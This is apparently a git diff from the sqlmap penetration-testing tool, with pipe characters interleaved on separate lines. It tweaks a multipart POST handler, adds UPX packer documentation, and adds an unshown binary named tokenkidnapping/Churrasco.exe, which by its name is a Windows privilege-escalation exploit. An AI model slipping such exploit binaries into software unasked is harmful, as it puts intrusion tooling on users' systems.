raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||||
@@ -69,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
request.add_data(data)
|
request.add_data(data)
|
||||||
return request
|
return request
|
||||||
|
|
||||||
|
|
||||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||||
if boundary is None:
|
if boundary is None:
|
||||||
boundary = mimetools.choose_boundary()
|
boundary = mimetools.choose_boundary()
|
||||||
|
|
||||||
if buffer is None:
|
if buffer is None:
|
||||||
buffer = ''
|
buffer = ''
|
||||||
|
|
||||||
for(key, value) in vars:
|
for(key, value) in vars:
|
||||||
buffer += '--%s\r\n' % boundary
|
buffer += '--%s\r\n' % boundary
|
||||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||||
buffer += '\r\n\r\n' + value + '\r\n'
|
buffer += '\r\n\r\n' + value + '\r\n'
|
||||||
|
|
||||||
for(key, fd) in files:
|
for(key, fd) in files:
|
||||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||||
filename = fd.name.split('/')[-1]
|
filename = fd.name.split('/')[-1]
|
||||||
@@ -89,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||||
fd.seek(0)
|
fd.seek(0)
|
||||||
buffer += '\r\n' + fd.read() + '\r\n'
|
buffer += '\r\n' + fd.read() + '\r\n'
|
||||||
|
|
||||||
buffer += '--%s--\r\n\r\n' % boundary
|
buffer += '--%s--\r\n\r\n' % boundary
|
||||||
|
|
||||||
return boundary, buffer
|
return boundary, buffer
|
||||||
|
|
||||||
multipart_encode = Callable(multipart_encode)
|
multipart_encode = Callable(multipart_encode)
|
||||||
|
|
||||||
https_request = http_request
|
https_request = http_request
|
||||||
|
|
||||||
|
|||||||
BIN
lib/contrib/tokenkidnapping/Churrasco.exe
Executable file
BIN
lib/contrib/tokenkidnapping/Churrasco.exe
Executable file
Binary file not shown.
138
lib/contrib/upx/doc/LICENSE
Normal file
138
lib/contrib/upx/doc/LICENSE
Normal file
@@ -0,0 +1,138 @@
|
|||||||
|
-----BEGIN PGP SIGNED MESSAGE-----
|
||||||
|
|
||||||
|
|
||||||
|
ooooo ooo ooooooooo. ooooooo ooooo
|
||||||
|
`888' `8' `888 `Y88. `8888 d8'
|
||||||
|
888 8 888 .d88' Y888..8P
|
||||||
|
888 8 888ooo88P' `8888'
|
||||||
|
888 8 888 .8PY888.
|
||||||
|
`88. .8' 888 d8' `888b
|
||||||
|
`YbodP' o888o o888o o88888o
|
||||||
|
|
||||||
|
|
||||||
|
The Ultimate Packer for eXecutables
|
||||||
|
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
|
||||||
|
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
|
||||||
|
http://www.nexus.hu/upx
|
||||||
|
http://upx.tsx.org
|
||||||
|
|
||||||
|
|
||||||
|
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
|
||||||
|
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
|
||||||
|
|
||||||
|
|
||||||
|
ABSTRACT
|
||||||
|
========
|
||||||
|
|
||||||
|
UPX and UCL are copyrighted software distributed under the terms
|
||||||
|
of the GNU General Public License (hereinafter the "GPL").
|
||||||
|
|
||||||
|
The stub which is imbedded in each UPX compressed program is part
|
||||||
|
of UPX and UCL, and contains code that is under our copyright. The
|
||||||
|
terms of the GNU General Public License still apply as compressing
|
||||||
|
a program is a special form of linking with our stub.
|
||||||
|
|
||||||
|
As a special exception we grant the free usage of UPX for all
|
||||||
|
executables, including commercial programs.
|
||||||
|
See below for details and restrictions.
|
||||||
|
|
||||||
|
|
||||||
|
COPYRIGHT
|
||||||
|
=========
|
||||||
|
|
||||||
|
UPX and UCL are copyrighted software. All rights remain with the authors.
|
||||||
|
|
||||||
|
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||||
|
UPX is Copyright (C) 1996-2000 Laszlo Molnar
|
||||||
|
|
||||||
|
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||||
|
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
==========================
|
||||||
|
|
||||||
|
UPX and the UCL library are free software; you can redistribute them
|
||||||
|
and/or modify them under the terms of the GNU General Public License as
|
||||||
|
published by the Free Software Foundation; either version 2 of
|
||||||
|
the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
UPX and UCL are distributed in the hope that they will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; see the file COPYING.
|
||||||
|
|
||||||
|
|
||||||
|
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
|
||||||
|
============================================
|
||||||
|
|
||||||
|
The stub which is imbedded in each UPX compressed program is part
|
||||||
|
of UPX and UCL, and contains code that is under our copyright. The
|
||||||
|
terms of the GNU General Public License still apply as compressing
|
||||||
|
a program is a special form of linking with our stub.
|
||||||
|
|
||||||
|
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
|
||||||
|
permission to freely use and distribute all UPX compressed programs
|
||||||
|
(including commercial ones), subject to the following restrictions:
|
||||||
|
|
||||||
|
1. You must compress your program with a completely unmodified UPX
|
||||||
|
version; either with our precompiled version, or (at your option)
|
||||||
|
with a self compiled version of the unmodified UPX sources as
|
||||||
|
distributed by us.
|
||||||
|
2. This also implies that the UPX stub must be completely unmodfied, i.e.
|
||||||
|
the stub imbedded in your compressed program must be byte-identical
|
||||||
|
to the stub that is produced by the official unmodified UPX version.
|
||||||
|
3. The decompressor and any other code from the stub must exclusively get
|
||||||
|
used by the unmodified UPX stub for decompressing your program at
|
||||||
|
program startup. No portion of the stub may get read, copied,
|
||||||
|
called or otherwise get used or accessed by your program.
|
||||||
|
|
||||||
|
|
||||||
|
ANNOTATIONS
|
||||||
|
===========
|
||||||
|
|
||||||
|
- You can use a modified UPX version or modified UPX stub only for
|
||||||
|
programs that are compatible with the GNU General Public License.
|
||||||
|
|
||||||
|
- We grant you special permission to freely use and distribute all UPX
|
||||||
|
compressed programs. But any modification of the UPX stub (such as,
|
||||||
|
but not limited to, removing our copyright string or making your
|
||||||
|
program non-decompressible) will immediately revoke your right to
|
||||||
|
use and distribute a UPX compressed program.
|
||||||
|
|
||||||
|
- UPX is not a software protection tool; by requiring that you use
|
||||||
|
the unmodified UPX version for your proprietary programs we
|
||||||
|
make sure that any user can decompress your program. This protects
|
||||||
|
both you and your users as nobody can hide malicious code -
|
||||||
|
any program that cannot be decompressed is highly suspicious
|
||||||
|
by definition.
|
||||||
|
|
||||||
|
- You can integrate all or part of UPX and UCL into projects that
|
||||||
|
are compatible with the GNU GPL, but obviously you cannot grant
|
||||||
|
any special exceptions beyond the GPL for our code in your project.
|
||||||
|
|
||||||
|
- We want to actively support manufacturers of virus scanners and
|
||||||
|
similar security software. Please contact us if you would like to
|
||||||
|
incorporate parts of UPX or UCL into such a product.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||||
|
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
|
||||||
|
|
||||||
|
Linz, Austria, 25 Feb 2000
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-----BEGIN PGP SIGNATURE-----
|
||||||
|
Version: 2.6.3ia
|
||||||
|
Charset: noconv
|
||||||
|
|
||||||
|
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
|
||||||
|
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
|
||||||
|
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
|
||||||
|
OO03+ojZdO8=
|
||||||
|
=CS52
|
||||||
|
-----END PGP SIGNATURE-----
|
||||||
142
lib/contrib/upx/doc/README
Normal file
142
lib/contrib/upx/doc/README
Normal file
@@ -0,0 +1,142 @@
|
|||||||
|
ooooo ooo ooooooooo. ooooooo ooooo
|
||||||
|
`888' `8' `888 `Y88. `8888 d8'
|
||||||
|
888 8 888 .d88' Y888..8P
|
||||||
|
888 8 888ooo88P' `8888'
|
||||||
|
888 8 888 .8PY888.
|
||||||
|
`88. .8' 888 d8' `888b
|
||||||
|
`YbodP' o888o o888o o88888o
|
||||||
|
|
||||||
|
|
||||||
|
The Ultimate Packer for eXecutables
|
||||||
|
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||||
|
http://upx.sourceforge.net
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
WELCOME
|
||||||
|
=======
|
||||||
|
|
||||||
|
Welcome to UPX !
|
||||||
|
|
||||||
|
Please don't forget to read the file LICENSE - UPX is distributed
|
||||||
|
under the GNU General Public License (GPL) with special exceptions
|
||||||
|
allowing the distribution of all compressed executables, including
|
||||||
|
commercial programs.
|
||||||
|
|
||||||
|
|
||||||
|
INTRODUCTION
|
||||||
|
============
|
||||||
|
|
||||||
|
UPX is an advanced executable file compressor. UPX will typically
|
||||||
|
reduce the file size of programs and DLLs by around 50%-70%, thus
|
||||||
|
reducing disk space, network load times, download times and
|
||||||
|
other distribution and storage costs.
|
||||||
|
|
||||||
|
Programs and libraries compressed by UPX are completely self-contained
|
||||||
|
and run exactly as before, with no runtime or memory penalty for most
|
||||||
|
of the supported formats.
|
||||||
|
|
||||||
|
UPX supports a number of different executable formats, including
|
||||||
|
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
|
||||||
|
and Linux executables and kernels.
|
||||||
|
|
||||||
|
UPX is free software distributed under the term of the GNU General
|
||||||
|
Public License. Full source code is available.
|
||||||
|
|
||||||
|
UPX may be distributed and used freely, even with commercial applications.
|
||||||
|
See the UPX License Agreement for details.
|
||||||
|
|
||||||
|
UPX is rated number one in the well known Archive Comparison Test. Visit
|
||||||
|
http://compression.ca/ .
|
||||||
|
|
||||||
|
UPX aims to be Commercial Quality Freeware.
|
||||||
|
|
||||||
|
|
||||||
|
SHORT DOCUMENTATION
|
||||||
|
===================
|
||||||
|
|
||||||
|
'upx program.exe' will compress a program or DLL. For best compression
|
||||||
|
results try 'upx --brute program.exe'.
|
||||||
|
|
||||||
|
Please see the file UPX.DOC for the full documentation. The files
|
||||||
|
NEWS and BUGS also contain various tidbits of information.
|
||||||
|
|
||||||
|
|
||||||
|
DISCLAIMER
|
||||||
|
==========
|
||||||
|
|
||||||
|
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
|
||||||
|
|
||||||
|
Having said that, we think that UPX is quite stable now. Indeed we
|
||||||
|
have compressed lots of files without any problems. Also, the
|
||||||
|
current version has undergone several months of beta testing -
|
||||||
|
actually it's almost 8 years since our first public beta.
|
||||||
|
|
||||||
|
This is the first production quality release, and we plan that future
|
||||||
|
releases will be backward compatible with this version.
|
||||||
|
|
||||||
|
Please report all problems or suggestions to the authors. Thanks.
|
||||||
|
|
||||||
|
|
||||||
|
THE FUTURE
|
||||||
|
==========
|
||||||
|
|
||||||
|
- We'd really love to support handheld systems like the PalmPilot because
|
||||||
|
compression makes a lot of sense here. And - because of the atari/tos
|
||||||
|
format - we already have a working decompressor in 68000 assembly.
|
||||||
|
Unfortunately we know next to nothing about the operating system
|
||||||
|
architecture of such handhelds, so we need some information from
|
||||||
|
an expert. Please contact us if you think you can help.
|
||||||
|
|
||||||
|
- The Linux approach could probably get ported to a lot of other Unix
|
||||||
|
variants, at least for other i386 architectures it shouldn't be too
|
||||||
|
much work. If someone sends me a fresh hard disk and an official
|
||||||
|
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
|
||||||
|
|
||||||
|
- We will *NOT* add any sort of protection and/or encryption.
|
||||||
|
This only gives people a false feeling of security because
|
||||||
|
by definition all protectors/compressors can be broken.
|
||||||
|
And don't trust any advertisement of authors of other executable
|
||||||
|
compressors about this topic - just do a websearch on "unpackers"...
|
||||||
|
|
||||||
|
- Fix all remaining bugs - keep your reports coming ;-)
|
||||||
|
|
||||||
|
- See the file PROJECTS in the source code distribution if you want
|
||||||
|
to contribute.
|
||||||
|
|
||||||
|
|
||||||
|
COPYRIGHT
|
||||||
|
=========
|
||||||
|
|
||||||
|
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
|
||||||
|
Copyright (C) 1996-2008 Laszlo Molnar
|
||||||
|
Copyright (C) 2000-2008 John F. Reiser
|
||||||
|
|
||||||
|
This program may be used freely, and you are welcome to
|
||||||
|
redistribute it under certain conditions.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
UPX License Agreement for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the UPX License Agreement along
|
||||||
|
with this program; see the file LICENSE. If not, visit the UPX home page.
|
||||||
|
|
||||||
|
|
||||||
|
Share and enjoy,
|
||||||
|
Markus & Laszlo
|
||||||
|
|
||||||
|
|
||||||
|
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||||
|
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
|
||||||
|
and holds no connection with potential owners of registered trademarks
|
||||||
|
or other rights. ]
|
||||||
|
|
||||||
|
[ Feel free to contact us if you have commercial compression requirements
|
||||||
|
or interesting job offers. ]
|
||||||
|
|
||||||
888
lib/contrib/upx/doc/upx.html
Normal file
888
lib/contrib/upx/doc/upx.html
Normal file
@@ -0,0 +1,888 @@
|
|||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head>
|
||||||
|
<title>upx - compress or expand executable files</title>
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||||
|
<link rev="made" href="mailto:root@localhost" />
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body style="background-color: white">
|
||||||
|
|
||||||
|
<p><a name="__index__"></a></p>
|
||||||
|
<!-- INDEX BEGIN -->
|
||||||
|
<!--
|
||||||
|
|
||||||
|
<ul>
|
||||||
|
|
||||||
|
<li><a href="#name">NAME</a></li>
|
||||||
|
<li><a href="#synopsis">SYNOPSIS</a></li>
|
||||||
|
<li><a href="#abstract">ABSTRACT</a></li>
|
||||||
|
<li><a href="#disclaimer">DISCLAIMER</a></li>
|
||||||
|
<li><a href="#description">DESCRIPTION</a></li>
|
||||||
|
<li><a href="#commands">COMMANDS</a></li>
|
||||||
|
<ul>
|
||||||
|
|
||||||
|
<li><a href="#compress">Compress</a></li>
|
||||||
|
<li><a href="#decompress">Decompress</a></li>
|
||||||
|
<li><a href="#test">Test</a></li>
|
||||||
|
<li><a href="#list">List</a></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<li><a href="#options">OPTIONS</a></li>
|
||||||
|
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></li>
|
||||||
|
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
|
||||||
|
<li><a href="#environment">ENVIRONMENT</a></li>
|
||||||
|
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
|
||||||
|
<ul>
|
||||||
|
|
||||||
|
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
|
||||||
|
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
|
||||||
|
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
|
||||||
|
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
|
||||||
|
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
|
||||||
|
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
|
||||||
|
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
|
||||||
|
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
|
||||||
|
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
|
||||||
|
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
|
||||||
|
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
|
||||||
|
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
|
||||||
|
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
|
||||||
|
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
|
||||||
|
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
|
||||||
|
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
|
||||||
|
<li><a href="#bugs">BUGS</a></li>
|
||||||
|
<li><a href="#authors">AUTHORS</a></li>
|
||||||
|
<li><a href="#copyright">COPYRIGHT</a></li>
|
||||||
|
</ul>
|
||||||
|
-->
|
||||||
|
<!-- INDEX END -->
|
||||||
|
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h1><a name="name">NAME</a></h1>
|
||||||
|
<p>upx - compress or expand executable files</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="synopsis">SYNOPSIS</a></h1>
|
||||||
|
<p><strong>upx</strong> [ <em>command</em> ] [ <em>options</em> ] <em>filename</em>...</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="abstract">ABSTRACT</a></h1>
|
||||||
|
<pre>
|
||||||
|
The Ultimate Packer for eXecutables
|
||||||
|
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||||
|
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
|
||||||
|
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
|
||||||
|
several different executable formats. It achieves an excellent compression
|
||||||
|
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
|
||||||
|
no memory overhead or other drawbacks for most of the formats supported,
|
||||||
|
because of in-place decompression.</p>
|
||||||
|
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
|
||||||
|
executables (for details see the file LICENSE), we would highly
|
||||||
|
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
|
||||||
|
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
|
||||||
|
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
|
||||||
|
is considered not politically correct ;-) ]</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="disclaimer">DISCLAIMER</a></h1>
|
||||||
|
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
|
||||||
|
<p>This is the first production quality release, and we plan that future 1.xx
|
||||||
|
releases will be backward compatible with this version.</p>
|
||||||
|
<p>Please report all problems or suggestions to the authors. Thanks.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="description">DESCRIPTION</a></h1>
|
||||||
|
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
|
||||||
|
<pre>
|
||||||
|
- excellent compression ratio: compresses better than zip/gzip,
|
||||||
|
use UPX to decrease the size of your distribution !</pre>
|
||||||
|
<pre>
|
||||||
|
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
|
||||||
|
about 200 MiB/sec on an Athlon XP 2000+.</pre>
|
||||||
|
<pre>
|
||||||
|
- no memory overhead for your compressed executables for most of the
|
||||||
|
supported formats</pre>
|
||||||
|
<pre>
|
||||||
|
- safe: you can list, test and unpack your executables
|
||||||
|
Also, a checksum of both the compressed and uncompressed file is
|
||||||
|
maintained internally.</pre>
|
||||||
|
<pre>
|
||||||
|
- universal: UPX can pack a number of executable formats:
|
||||||
|
* atari/tos
|
||||||
|
* bvmlinuz/386 [bootable Linux kernel]
|
||||||
|
* djgpp2/coff
|
||||||
|
* dos/com
|
||||||
|
* dos/exe
|
||||||
|
* dos/sys
|
||||||
|
* linux/386
|
||||||
|
* linux/elf386
|
||||||
|
* linux/sh386
|
||||||
|
* ps1/exe
|
||||||
|
* rtm32/pe
|
||||||
|
* tmt/adam
|
||||||
|
* vmlinuz/386 [bootable Linux kernel]
|
||||||
|
* vmlinux/386
|
||||||
|
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
|
||||||
|
* win32/pe (exe and dll)
|
||||||
|
* arm/pe (exe and dll)
|
||||||
|
* linux/elfamd64
|
||||||
|
* linux/elfppc32
|
||||||
|
* mach/elfppc32</pre>
|
||||||
|
<pre>
|
||||||
|
- portable: UPX is written in portable endian-neutral C++</pre>
|
||||||
|
<pre>
|
||||||
|
- extendable: because of the class layout it's very easy to support
|
||||||
|
new executable formats or add new compression algorithms</pre>
|
||||||
|
<pre>
|
||||||
|
- free: UPX can be distributed and used freely. And from version 0.99
|
||||||
|
the full source code of UPX is released under the GNU General Public
|
||||||
|
License (GPL) !</pre>
|
||||||
|
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
|
||||||
|
executable packer.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="commands">COMMANDS</a></h1>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="compress">Compress</a></h2>
|
||||||
|
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
|
||||||
|
specified on the command line.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="decompress">Decompress</a></h2>
|
||||||
|
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
|
||||||
|
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="test">Test</a></h2>
|
||||||
|
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
|
||||||
|
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
|
||||||
|
decompressed. Note, that this command doesn't check the whole file, only
|
||||||
|
the part that will be uncompressed during program execution. This means
|
||||||
|
that you should not use this command instead of a virus checker.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="list">List</a></h2>
|
||||||
|
<p>The <strong>-l</strong> command prints out some information about the compressed files
|
||||||
|
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
|
||||||
|
shows the compressed / uncompressed size and the compression ratio of
|
||||||
|
<em>yourfile.exe</em>.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="options">OPTIONS</a></h1>
|
||||||
|
<p><strong>-q</strong>: be quiet, suppress warnings</p>
|
||||||
|
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
|
||||||
|
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
|
||||||
|
<p><strong>--help</strong>: prints the help</p>
|
||||||
|
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
|
||||||
|
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
|
||||||
|
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
|
||||||
|
not supported for all formats yet. If you do care, as a workaround you can
|
||||||
|
compress and then decompress your program a first time - any further
|
||||||
|
compress-decompress steps should then yield byte-identical results
|
||||||
|
as compared to the first decompressed version.]</p>
|
||||||
|
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></h1>
|
||||||
|
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
|
||||||
|
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
|
||||||
|
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
|
||||||
|
<ul>
|
||||||
|
<li>
|
||||||
|
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<p>Compression level <strong>--best</strong> may take a long time.</p>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
|
||||||
|
files, but you definitely should use it when releasing a final version
|
||||||
|
of your program.</p>
|
||||||
|
<p>Quick info for achieving the best compression ratio:</p>
|
||||||
|
<ul>
|
||||||
|
<li>
|
||||||
|
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<p>Try if <strong>--overlay=strip</strong> works.</p>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
|
||||||
|
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
|
||||||
|
an executable, and it often contains application specific data
|
||||||
|
(this is a common practice to avoid an extra data file, though
|
||||||
|
it would be better to use resource sections).</p>
|
||||||
|
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
|
||||||
|
copies the overlay after the compressed image. This works with some
|
||||||
|
files, but doesn't work with others, depending on how an application
|
||||||
|
actually accesses this overlayed data.</p>
|
||||||
|
<pre>
|
||||||
|
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
|
||||||
|
<pre>
|
||||||
|
--overlay=strip Strip any overlay from the program instead of
|
||||||
|
copying it. Be warned, this may make the compressed
|
||||||
|
program crash or otherwise unusable.</pre>
|
||||||
|
<pre>
|
||||||
|
--overlay=skip Refuse to compress any program which has an overlay.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="environment">ENVIRONMENT</a></h1>
|
||||||
|
<p>The environment variable <strong>UPX</strong> can hold a set of default
|
||||||
|
options for <strong>UPX</strong>. These options are interpreted first and
|
||||||
|
can be overwritten by explicit command line parameters.
|
||||||
|
For example:</p>
|
||||||
|
<pre>
|
||||||
|
for DOS/Windows: set UPX=-9 --compress-icons#0
|
||||||
|
for sh/ksh/zsh: UPX="-9 --compress-icons=0"; export UPX
|
||||||
|
for csh/tcsh: setenv UPX "-9 --compress-icons=0"</pre>
|
||||||
|
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
|
||||||
|
environment variable because of a COMMAND.COM limitation.</p>
|
||||||
|
<p>Not all of the options are valid in the environment variable -
|
||||||
|
<strong>UPX</strong> will tell you.</p>
|
||||||
|
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
|
||||||
|
environment variable.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
|
||||||
|
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
|
||||||
|
based personal computer which was popular in the late '80s. Support
|
||||||
|
of this format is only because of nostalgic feelings of one of
|
||||||
|
the authors and serves no practical purpose :-).
|
||||||
|
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||||
|
All debug information will be stripped, though.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
